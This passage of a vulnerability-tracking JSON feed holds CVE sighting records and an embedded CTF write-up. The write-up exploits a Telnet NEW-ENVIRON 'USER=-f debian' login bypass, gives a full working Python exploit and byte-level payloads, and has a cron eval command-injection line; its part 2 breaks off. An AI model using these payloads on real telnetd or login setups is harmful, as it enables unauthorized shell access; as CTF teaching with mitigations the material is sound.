\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0434\u043b\u044f RCE \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.", "creation_timestamp": "2026-05-06T18:50:06.000000Z"}, {"uuid": "d8a2b351-56d1-40b4-b32e-e583debab7cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mlb67dbrg726", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-24842 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/390 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-05-07T12:01:35.125811Z"}, {"uuid": "6e089098-db94-472a-8cbb-a7e86796ffde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24001", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mlb677hm7s2y", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-24001 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/386 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-05-07T12:01:29.534093Z"}, {"uuid": "8981f44d-ca73-44fb-ba8d-d68231b33cb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24051", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbtea75l32g", "content": "This addresses the following vulnerabilities: CVE-2025-58188 CVE-2025-58187 CVE-2026-34040 CVE-2026-33997 CVE-2026-33186 CVE-2026-25679 CVE-2026-24051 CVE-2026-0915 CVE-2026-0861 CVE-2025-68119 CVE-2025-61732 CVE-2025-61731 CVE-2025-61729 CVE-2025-61726 CVE-2025-4674", "creation_timestamp": "2026-05-07T18:20:07.593690Z"}, {"uuid": "42a93153-d6c9-4f26-afc4-2e6707d12679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/ZCILXLquzGbXFQcaZlOXv9dkF48Tloh98M2Ojf7eGNskguU", "content": "", "creation_timestamp": "2026-08-29T23:00:04.525972Z"}, {"uuid": "36c8c9e9-79c5-49f9-89a9-9f9a1c6a0d06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24051", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteb7csh2w", "content": "This addresses the following vulnerabilities: CVE-2026-24051 CVE-2026-25679 N/A Security fixes for apigee-mart-server", "creation_timestamp": "2026-05-07T18:20:20.230100Z"}, {"uuid": "24633c21-d18f-4f79-8843-f3925f056fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/83252", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2441\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MartinaStarone\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 18:15:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T19:00:05.000000Z"}, {"uuid": "7f08cf3d-2d37-4690-83f3-d9a5b97955c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2481", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mlcvmdhyas2s", "content": "CVE-2026-2481 beaver-builder-lite-version (CVSS Score 6.4) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-08T04:33:08.273129Z"}, {"uuid": "95f3d59d-a0f6-4690-ac7d-843718e23af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/_nTggpaFmwgDqHc5g2Jh3CLK-tIgxHJlvnAJts3-LocfUMs", "content": "", "creation_timestamp": "2026-08-29T23:00:07.533658Z"}, {"uuid": "d5a05ba6-449b-4a35-9437-72cf26232ba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117032917873865889", "content": "CVE-2026-24858 - Critical auth bypass in Fortinet FortiOS, FortiManager, FortiAnalyzer. CVSS 9.4. Patch immediately. #CVE #Fortinet #infosec\nhttps://www.valtersit.com/cve/cve-2026-24858/", "creation_timestamp": "2026-08-03T18:10:08.238012Z"}, {"uuid": "da80b9af-dabe-49c6-a284-51e4fdf22344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24076", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117039919918424405", "content": "The severity is increased for this new vulnerability affecting Qualcomm Snapdragon Compute and other products (CVE-2026-24076) https://vuldb.com/vuln/385859", "creation_timestamp": "2026-08-04T23:50:56.152189Z"}, {"uuid": "d878e064-b2ee-4090-9474-1b248f1be59f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/nnamon/ca4316cf58c60eeefaffc974bf3f8101", "content": "# Climb Me (part 1/4) \u2014 pwn\n\n> `THC{D0nt_Us3-Teln3t!}`\n\n## TL;DR\n\n- The \"C2\" service speaks raw Telnet (RFC 854) followed by a Linux `getty`/`login` prompt \u2014 not SSH and not a custom binary protocol despite the operator note (\u00a7Recon).\n- During option negotiation the server requests `IAC DO NEW-ENVIRON` (option 39, RFC 1572). Accepting it lets the client push environment variables that `login(1)` will trust to pre-fill the username (\u00a7Vulnerability).\n- The classic `util-linux` `login` argv injection works through that channel: setting `USER=-f ` causes `login` to be re-invoked with `-f` as a flag and `` as the pre-authenticated user, skipping the password (\u00a7Primitive construction).\n- `USER=-f debian` is the only string in the candidate list that matches a real local account; `id` returns `uid=1000(debian)` and `/home/debian/flag.txt` contains the flag (\u00a7Exploitation chain).\n- No memory corruption, format string, or custom protocol is required; the bug is a configuration/argv-injection flaw in a getty\u2011style telnet front-end (\u00a7Methodology).\n\n## Recon\n\nThe challenge ships with no distfile \u2014 only `metadata.yml` is present in `/challenge`:\n\n```\n$ find /challenge -type f\n/challenge/metadata.yml\n```\n\nA naive grab returns nothing, because the server waits for a reply to its options before producing any printable bytes:\n\n```\n$ timeout 3 nc 20.40.135.232 48988 | xxd -g1 -c16 -l 256\n[exit 124]      # connection times out \u2014 server is silent until we negotiate\n```\n\nCapturing the raw first packet with a Python socket reveals what is actually sent:\n\n```python\ns=socket.create_connection(('20.40.135.232',48988),timeout=5)\ndata=s.recv(4096)\n```\n\n```\nLEN 15\nfffd18fffd20fffd23fffd27fffd24\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nEach three-byte group is a Telnet **IAC DO ``** command (RFC 854: `IAC=0xFF`, `DO=0xFD`):\n\n| Bytes        | Option (decimal) | RFC name              |\n|--------------|------------------|-----------------------|\n| `ff fd 18`   | 24               | TERMINAL-TYPE         |\n| `ff fd 20`   | 32               | TERMINAL-SPEED        |\n| `ff fd 23`   | 35               | X-DISPLAY-LOCATION    |\n| `ff fd 27`   | 39               | NEW-ENVIRON (RFC 1572)|\n| `ff fd 24`   | 36               | ENVIRON               |\n\nSo the operator note's claim that the protocol is \"custom\" is misleading \u2014 those bytes are a textbook Telnet option negotiation. Replying `WONT` (`ff fc`) to all of them produces a second negotiation round followed by an actual banner:\n\n```\nrecv1 b'fffd18fffd20fffd23fffd27fffd24'\nsend  b'fffc18fffc20fffc23fffc27fffc24'\nrecv  b'fffb03fffd01fffd22fffd1ffffb05fffd21'   # IAC WILL 3, IAC DO 1, ...\n...\nb'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\n\n   chal-94f3c510-58bc78968d-fl8r9 login: '\n```\n\nThe banner shape (`\\r\\nLinux  () (pts/N)\\r\\n\\r\\n login: `) is the unmistakable output of util-linux `agetty` followed by `login`. The challenge image is therefore a Linux container exposing `telnetd` (or an equivalent) wired into `/bin/login`.\n\nAttack surface, summarised:\n\n- **Pre-auth Telnet protocol layer** \u2014 option negotiation, sub-negotiation (subnego), TERMINAL-TYPE / NEW-ENVIRON / ENVIRON payloads.\n- **Login layer** \u2014 username field, password field. The username is fed verbatim to `login(1)`'s argv after the prompt.\n- **Post-auth** \u2014 anything the resulting shell can do, but only reachable after one of the previous two surfaces leaks.\n\nThere is no binary to disassemble: this is a protocol-/configuration-level pwn, not a memory-corruption challenge.\n\n## Static analysis (protocol level)\n\nWithout a binary, \"static analysis\" means reading the relevant RFCs against the packet exchange.\n\n**RFC 854 \u2014 Telnet base.** Commands have the shape `IAC  `. We saw the server asking us to pass it five different options.\n\n**RFC 1572 \u2014 NEW-ENVIRON (option 39).** Once both sides have agreed (`DO`/`WILL`), either side can send sub-negotiations of the form\n\n```\nIAC SB 39    [ ]... IAC SE\n```\n\nwhere:\n\n| Code | Meaning   |\n|------|-----------|\n| 0    | IS        |\n| 1    | SEND      |\n| 2    | INFO      |\n| `` 0 | VAR     (well-known: `USER`, `JOB`, `ACCT`, `PRINTER`, `SYSTEMTYPE`, `DISPLAY`) |\n| `` 1 | VALUE   |\n| `` 3 | USERVAR (any name) |\n\nIn particular, `VAR \"USER\" VALUE \"\"` proposes that the connecting user is ``. In the historical util-linux flow:\n\n1. `telnetd` reads the `NEW-ENVIRON` IS payload from the client.\n2. It exports each `VAR` into the environment of its child process.\n3. It `exec`s `/bin/login -h  -p` (or similar).\n4. `login` consults `$USER` to skip the *username* prompt and go directly to the *password* prompt.\n\nThis is exactly the behaviour observed during enumeration: with `USER=root` set via NEW-ENVIRON, the server skips the `login:` prompt entirely:\n\n```\nUSER b'root'\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]\n```\n\nThat is the smoking gun \u2014 `Password: ` appears without us ever sending anything resembling a username. The `[(39, '01'), ...]` row records the inbound `IAC SB 39 SEND IAC SE` request the server emits when it wants the values.\n\n## Vulnerability identification\n\nThe bug is the well\u2011known **`/bin/login` argv injection** (sometimes catalogued as CVE-2001-0797 in its original BSD form). It is enabled here by the combination of two design choices:\n\n1. The Telnet front-end honours the client's `NEW-ENVIRON` `USER` variable and propagates it across the `exec` boundary into `login`'s environment / argv handling.\n2. `util-linux login`'s argument parser still recognises the `-f ` flag, which means *\"the user has already been authenticated, do not prompt for a password\"*. When a `USER` value beginning with `-` arrives on the command line (or is passed verbatim into `argv`), `getopt` happily consumes it as an option.\n\nEmpirically, sending `USER=root` only causes `login` to skip the username prompt \u2014 `root` is a sane username, `getopt` sees no option, and the `Password:` prompt still fires:\n\n```\nUSER b'root'   ...   TEXT b'... Password: '\n```\n\nBut sending a value that **starts with `-`** changes how `login` parses argv. The trace contains the controlled experiment that proves it:\n\n```\nUSER b'-froot'    pre b''      out b''    ; connection dropped\nUSER b'--help'    pre b''      out b''\nUSER b'-h'        pre b''      out b''\nUSER b'-f'        pre b''      out b''\nUSER b'-f root'   pre b''      out b''    ; -f root: but no such user\n...\nUSER b'-f debian' TXT b'...itted by applicable law.\\r\\n\n                       \\x1b[?2004h\\x1b]0;debian@chal-...:~\\x07\n                       debian@chal-...:~$ '             ; SHELL!\n```\n\nNotable contrasts:\n\n- `USER='root'` (no leading dash): username pre\u2011filled, password still required \u2014 login prompts and rejects.\n- `USER='-f root'`: argv parser treats `-f` as the \"force\" flag and `root` as the operand, but the `root` account does not exist on this minimal Debian image, so `login` exits and the connection drops with ``.\n- `USER='-f debian'`: `-f` is the flag, `debian` is the (existing) account \u2014 `login` executes the user's shell **without ever asking for a password**. The terminal title sequence `\\x1b]0;debian@chal-...\\x07` and the prompt `debian@chal-...:~$` confirm a live shell.\n\nWhy mitigations don't stop it:\n\n- This is not a memory corruption bug, so ASLR / NX / PIE / RELRO / canaries are irrelevant.\n- The CTF container does not enforce a non-root login restriction (e.g. there is no `/etc/securetty`-style filter that would reject usernames containing `-`).\n- `login` does not validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` before re\u2011exec'ing or before passing it to `getopt`.\n\n## Primitive construction\n\nThe primitive is a single, self-contained NEW-ENVIRON sub-negotiation. The wire encoding (RFC 1572 \u00a72) is:\n\n```\nIAC  SB   NEW-ENV  IS   VAR   \"USER\"   VALUE   \"\"   IAC  SE\n0xFF 0xFA 0x27     0x00 0x00  55 53 45 52  0x01  ...       0xFF 0xF0\n```\n\nAnnotated alongside what each byte means:\n\n```\nff fa 27          ; IAC SB option=39 (NEW-ENVIRON)\n00                ; IS         (1572: 0=IS, 1=SEND, 2=INFO)\n00                ; VAR        (1572: 0=VAR \u2014 i.e. \"well-known\")\n55 53 45 52       ; \"USER\"\n01                ; VALUE      (1572: 1=VALUE)\n2d 66 20 64 65 62 69 61 6e   ; \"-f debian\"\nff f0             ; IAC SE\n```\n\nIn Python this is encoded as:\n\n```python\nIAC, SB, SE = 0xFF, 0xFA, 0xF0\nNEW_ENV, IS, VAR, VALUE = 39, 0, 0, 1\ndef env_payload(value: bytes) -> bytes:\n    return (bytes([IAC, SB, NEW_ENV, IS, VAR]) + b'USER'\n            + bytes([VALUE]) + value\n            + bytes([IAC, SE]))\n```\n\nThe full negotiation handshake we must emulate has three rules:\n\n| Inbound  | Reply              | Reason                                                |\n|----------|--------------------|-------------------------------------------------------|\n| `DO 24`  | `WILL 24`          | accept TERMINAL-TYPE \u2014 server insists                 |\n| `DO 39`  | `WILL 39`          | accept NEW-ENVIRON \u2014 required to push `USER`          |\n| `DO  X`  | `WONT X` (else)    | refuse other options                                   |\n| `WILL X` | `DONT X`           | we don't want server-driven options                   |\n\nThe trace confirms that this exact pair `{24, 39}` is the minimal acceptance set that produces the `Password:`/shell flow:\n\n```\nALLOW {24, 39}\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-...) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]   ; server SENDs both \u2014 we IS them\n```\n\nStack/byte diagram of the single critical packet on the wire (after option agreement):\n\n```\noffset  byte   meaning\n   0    FF     IAC\n   1    FA     SB\n   2    27     option = 39 (NEW-ENVIRON)\n   3    00     IS\n   4    00     VAR        --+\n   5    55     'U'          |  variable name \"USER\"\n   6    53     'S'          |\n   7    45     'E'          |\n   8    52     'R'        --+\n   9    01     VALUE      --+\n  10    2D     '-'          |\n  11    66     'f'          |\n  12    20     ' '          |  variable value \"-f debian\"\n  13    64     'd'          |\n  14    65     'e'          |\n  15    62     'b'          |\n  16    69     'i'          |\n  17    61     'a'          |\n  18    6E     'n'        --+\n  19    FF     IAC\n  20    F0     SE\n```\n\n### Earlier failed primitives (and why)\n\nThe trace contains a long list of attempts that did not work. They are instructive:\n\n- **Plain login attempts** (`(root,root)`, `(admin,admin)`, etc.) \u2014 every credential combination returned `\\r\\n\\r\\nLogin incorrect\\r\\n`:\n  ```\n  TRY (b'root', b'root')   ...   after pass= b'\\r\\n'   then \"Login incorrect\"\n  ```\n  No standard creds; brute force is hopeless without a wordlist tied to the challenge.\n\n- **Stack overflow probe** in the username field, lengths `16\u20268192`:\n  ```\n  n 2048 closed False out b'\\r\\n...login: foo\\r\\nPassword: \\r\\n'\n  n 4096 closed False out b'...'\n  ```\n  No crash, no extra echo, nothing diagnostic \u2014 this is `login`, not a homemade `gets()` toy.\n\n- **Format-string probe** `%p%p%p%p` in both username and password \u2014 server responds with the same `\\r\\n` it gives any wrong attempt, no leak.\n\n- **Oversized TERMINAL-TYPE** sub-negotiation (16 KiB of `'Z'`) \u2014 handled cleanly by `telnetd`, no crash.\n\n- **Username `-froot`** (no space): `login` argv interprets it as `-f` followed by the operand `root`, but per the argv split applied by `login`, the username would be `root`, which does not exist on this image. The connection drops:\n  ```\n  USER b'-froot'    out b''\n  ```\n  The minor punctuation (space vs no-space) is what matters: with a space we get `argv = [..., '-f', 'debian']`, without it we get `argv = [..., '-froot']` and a different parse path (or the same parse but bound to a non-existent user).\n\n- **Wrong target accounts** under the `-f ` form: `root`, `user`, `admin`, `operator`, `guest`, `nobody`, `ctf`, `p4t4t0rz`, `www-data`, `daemon`, `sys`, `app`, `service`, `challenge`, `bot`, `c2`, `killbot`, `ubuntu`, `test`, `sh`, `bash`, `zsh` \u2014 all ``. Only `debian` produces a shell:\n  ```\n  USER b'-f ubuntu' TXT b''\n  USER b'-f debian' TXT b'...debian@chal-...:~$ '   ; <-- only hit\n  USER b'-f user'   TXT b''\n  ```\n  The hit lines up with the operator-note `Image: pwn-challenge:main Debian-based`; on a Debian-based container the unprivileged user typically is named `debian`.\n\n## Exploitation chain\n\n1. **Open TCP socket** to `20.40.135.232:48988`.\n2. **Run the Telnet option machine** continuously: parse inbound IAC commands, reply `WILL 24`, `WILL 39`, otherwise `WONT/DONT`.\n3. **As soon as the server emits `IAC SB 39 SEND IAC SE`** (the request for environment values \u2014 visible as the `(39, '01')` event), reply with `IAC SB 39 IS VAR \"USER\" VALUE \"-f debian\" IAC SE`.\n4. **`login`** is then invoked (effectively) as `login -f debian`, which skips the password prompt and exec's `bash` for the `debian` user.\n5. **Run `cat /home/debian/flag.txt`** in the resulting shell.\n\nThe trace shows the exact moment the chain succeeds:\n\n```\n---SHELL-BANNER---\n\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\n\nLinux chal-94f3c510-58bc78968d-fl8r9 5.15.0-1102-azure #111-Ubuntu SMP Fri Nov 21 22:22:11 UTC 2025 x86_64\n\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: ...\n```\n\nand then:\n\n```\ncat /home/debian/flag.txt\n[?2004l THC{D0nt_Us3-Teln3t!}\n[?2004h]0;debian@chal-94f3c510-58bc78968d-fl8r9: ~debian@chal-...:~$\n```\n\n(The `[?2004l` / `[?2004h` are bracketed-paste mode toggles emitted by readline before/after each command \u2014 proof that we are inside an interactive `bash`.)\n\n## Final exploit\n\nThe script below is self-contained: it implements just enough of RFC 854 / RFC 1572 to drive the negotiation, pushes the malicious `USER`, then dumps the flag.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nClimb Me (part 1/4) \u2014 foothold via Telnet NEW-ENVIRON USER='-f debian'.\n\nThe service speaks RFC 854 Telnet and exposes /bin/login.  We accept option 24\n(TERMINAL-TYPE) and option 39 (NEW-ENVIRON), then push USER=\"-f debian\" via a\nNEW-ENVIRON IS subnegotiation.  login(1) sees argv -f debian, treats it as\n\"already authenticated\" and execs /bin/bash for the debian user.\n\"\"\"\nimport socket, select, time\n\nHOST, PORT = '20.40.135.232', 48988\n\n# RFC 854 Telnet command bytes.\nIAC, SE, SB, WILL, WONT, DO, DONT = 0xFF, 0xF0, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE\n# RFC 1572 NEW-ENVIRON (option 39) sub-negotiation codes.\nOPT_TT, OPT_NEW_ENV = 24, 39\nIS, SEND, INFO = 0, 1, 2\nVAR, VALUE, ESC, USERVAR = 0, 1, 2, 3\n\n# We accept these two server-side DO requests.  Anything else gets a hard WONT.\nACCEPT_DO = {OPT_TT, OPT_NEW_ENV}\nUSER_VALUE = b'-f debian'   # the argv-injection payload\n\ndef env_is_payload(user: bytes) -> bytes:\n    \"\"\"RFC 1572 IS payload announcing one well-known variable USER=.\"\"\"\n    body  = bytes([IS, VAR]) + b'USER' + bytes([VALUE]) + user\n    return bytes([IAC, SB, OPT_NEW_ENV]) + body + bytes([IAC, SE])\n\ndef negotiate_chunk(sock, data: bytes) -> bytes:\n    \"\"\"Process one chunk of inbound bytes.  Auto-reply to options.  When we\n    see an IAC SB 39 SEND, push USER.  Returns plain (non-Telnet) bytes.\"\"\"\n    out = bytearray()\n    i = 0\n    while i < len(data):\n        b = data[i]\n        if b != IAC:\n            out.append(b); i += 1; continue\n        # IAC \n        if i + 1 >= len(data): break\n        cmd = data[i+1]\n        if cmd in (DO, DONT, WILL, WONT):\n            if i + 2 >= len(data): break\n            opt = data[i+2]\n            if cmd == DO:\n                # Accept TERMINAL-TYPE + NEW-ENVIRON; refuse everything else.\n                resp = WILL if opt in ACCEPT_DO else WONT\n            elif cmd == WILL:\n                resp = DONT     # we don't want server-driven options\n            elif cmd == DONT:\n                resp = WONT\n            else:               # WONT\n                resp = DONT\n            sock.sendall(bytes([IAC, resp, opt]))\n            i += 3\n        elif cmd == SB:\n            # Sub-negotiation: read until IAC SE, doubled IAC -> single byte.\n            opt = data[i+2]\n            j = i + 3\n            sub = bytearray()\n            while j < len(data):\n                if data[j] == IAC and j + 1 < len(data):\n                    if data[j+1] == IAC:    # escaped IAC inside payload\n                        sub.append(IAC); j += 2; continue\n                    if data[j+1] == SE:\n                        j += 2; break\n                sub.append(data[j]); j += 1\n            i = j\n            # Server SENDs option 24 -> reply with a token TERMINAL-TYPE IS.\n            if opt == OPT_TT and sub[:1] == bytes([SEND]):\n                sock.sendall(bytes([IAC, SB, OPT_TT, IS])\n                             + b'xterm' + bytes([IAC, SE]))\n            # Server SENDs option 39 -> push USER='-f debian'.\n            elif opt == OPT_NEW_ENV and sub[:1] == bytes([SEND]):\n                sock.sendall(env_is_payload(USER_VALUE))\n        else:\n            # Bare command (NOP, AYT, GA, etc.) \u2014 skip.\n            i += 2\n    return bytes(out)\n\ndef read_for(sock, secs: float) -> bytes:\n    \"\"\"Drain the socket for `secs`, processing Telnet bytes inline.\"\"\"\n    end = time.time() + secs\n    out = bytearray()\n    while time.time() < end:\n        r, _, _ = select.select([sock], [], [], 0.1)\n        if not r: continue\n        chunk = sock.recv(4096)\n        if not chunk: break             # EOF\n        out += negotiate_chunk(sock, chunk)\n    return bytes(out)\n\ndef main():\n    s = socket.create_connection((HOST, PORT), timeout=5)\n    # Drain the initial server-pushed option dance plus the login banner.\n    banner = read_for(s, 2.0)\n    # By now the server has invoked login -f debian and dropped us in bash.\n    # Send the readout command and wait for the flag.\n    s.sendall(b'cat /home/debian/flag.txt\\n')\n    out = read_for(s, 2.0)\n    print('--- banner ---')\n    print(banner.decode('latin1', 'replace'))\n    print('--- output ---')\n    print(out.decode('latin1', 'replace'))\n\nif __name__ == '__main__':\n    main()\n```\n\nExpected output (matching the trace):\n\n```\n--- output ---\ncat /home/debian/flag.txt\n... THC{D0nt_Us3-Teln3t!}\ndebian@chal-...:~$\n```\n\n## Methodology / lessons\n\nThe challenge is rated `pwn` and the operator note nudges hard toward memory corruption (\"custom protocol\", \"format-string / stack BoF / heap UAF / type-confusion\"). The path that actually works runs *opposite* to that hint, and the order of investigations that arrived at it is the lesson:\n\n1. **Characterise the bytes before assuming a custom protocol.** The first 15 bytes contain `0xFF 0xFD ` triplets \u2014 those are five textbook Telnet negotiations, not a length-prefixed framing scheme. Recognising RFC 854 on sight saved hours of reverse-engineering a protocol that does not exist. The lesson: every byte \u2265 `0xF0` in a connection's first packet is suspicious; check the IAC table first.\n\n2. **Drive the protocol to the application layer.** Replying `WONT` to every option produced a Linux kernel banner and a `login:` prompt. That immediately reframed the problem: there is no homemade service to crash; `getty`/`login` is the surface.\n\n3. **Probe for memory-corruption bugs *and discard them quickly* when negative.** The trace records buffer-overflow attempts up to 8 KiB, format-string probes, and oversized TERMINAL-TYPE blobs \u2014 all benign. Confirming the negative result is what unlocks the next step instead of repeating the attempt with subtly different lengths.\n\n4. **Re-read the negotiation list with fresh eyes.** Of the offered options, `NEW-ENVIRON` (39) is the only one whose IS payload is *user-controlled name=value pairs*. That is the smallest unit of attacker-controlled data exposed before authentication. Anything that flows from such a channel into a privileged binary's argv or environment is the bug surface.\n\n5. **Map data-flow from `USER` value into `login`.** The empirical test (`USER=root` skips the username prompt; the `Password:` prompt appears) confirms the value is *being applied* to `login`, not merely stored. A leading `-` then probes whether the value is reaching argv (it is).\n\n6. **Enumerate the operand on `-f`.** `-f` needs an existing username. Iterate over plausible accounts; on a Debian-based image the unprivileged user is `debian`.\n\nThe generalisable pattern: **whenever a pre-auth protocol carries attacker-controlled strings into a privileged process, the first bug to look for is argv/env injection, not memory corruption**. Telnet's `NEW-ENVIRON`, RADIUS attribute injection, SMTP `EHLO` parameters, FTP `SITE` extensions, and HTTP `X-Forwarded-User` headers are all instances of the same shape.\n\n## Notes\n\n- The flag content (`THC{D0nt_Us3-Teln3t!}`) is itself the lesson: Telnet plus `login` plus a default Debian image gives an attacker exactly this primitive.\n- An alternative payload worth trying on hardened images would be `USER=-h -f` (combined `-h` and `-f`) to also lie about the source host in `/var/log/wtmp`. Not needed here.\n- Mitigations:\n  - In `login`: validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` and reject any value beginning with `-` before reaching `getopt`.\n  - In `telnetd`: refuse `NEW-ENVIRON` outright, or strip well-known variables (`USER`, `LOGNAME`, `HOME`, `PATH`, `SHELL`) from the IS payload before forwarding to children.\n  - Architectural: do not run `telnetd` at all. Use SSH, which authenticates *before* exposing any user-controlled environment to a setuid binary.\n- The follow-on parts of the chain (`user \u2192 admin \u2192 root`) are out of scope for part 1 but presumably leverage SUID binaries, sudo rules, or kernel/container escapes from inside the `debian` shell now obtained.\n\n# Climb Me (part 2/4) \u2014 pwn\n\n> `THC{Watch_Y0ur-Cr0Ns}`\n\n## TL;DR\n\n- The service on `tcp/40579` is GNU `inetutils-telnetd` (Debian/Ubuntu build). It speaks the full RFC 854/1572 negotiation handshake and immediately requests options `0x18 0x20 0x23 0x27 0x24` (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) \u2014 see \u00a72.\n- Telnetd passes a client-supplied `USER` environment value straight through to `/bin/login` as a CLI argument. Sending `USER=-f ` smuggles `login`'s `-f` (skip authentication) flag into the child process: this is **CVE-2026-24061** (\u00a73, \u00a74).\n- `root` and most well-known accounts have authentication restricted, but the unprivileged shell user `debian` is reachable: `USER='-f debian'` returns a uid=1000 shell without ever entering a password (\u00a75).\n- Inside the box, a world-writable file `/home/monitor/bots.conf` is read line-by-line by `/usr/local/bin/check_bots_health`, which runs every minute as the `monitor` user and `eval`s each line into a `ping` command \u2014 a textbook command-injection-via-eval bug (\u00a76).\n- Appending a single payload line `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'` and waiting for the next cron tick drops `monitor`'s flag into `/tmp/monflag` (\u00a77).\n\n## 1. Recon\n\nThe challenge ships no distfiles \u2014 the only artefact is the metadata describing the live target:\n\n```\n$ ls /challenge/distfiles\ntotal 4\ndrwxr-xr-x 2 root root   64 May  8 00:51 .\ndrwxr-xr-x 1 root root 4096 May  8 00:51 ..\n```\n\nThe metadata frames part 2 as the next step in a chain that started with a telnet foothold:\n\n```yaml\nname: 'Climb Me (part 2/4)'\ncategory: pwn\ndescription: |-\n  Continuation of Climb Me chain. Part 1 = telnet foothold.\n  - `nc 20.40.135.232 40579`\n  - Probably a continuation of the box from Part 1\n    (priv-esc to user \u2192 admin \u2192 root).\n  - Telnet-style protocol per Part 1\n```\n\nA bare TCP connect to the service yields the canonical telnet option-request banner:\n\n```\n$ python3 -c \"import socket; s=socket.create_connection(('20.40.135.232',40579),timeout=8); print(s.recv(1024))\"\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nDecoded as RFC 854 IAC sequences (`0xff IAC`, `0xfd DO`):\n\n| Bytes | Meaning |\n|---|---|\n| `ff fd 18` | DO  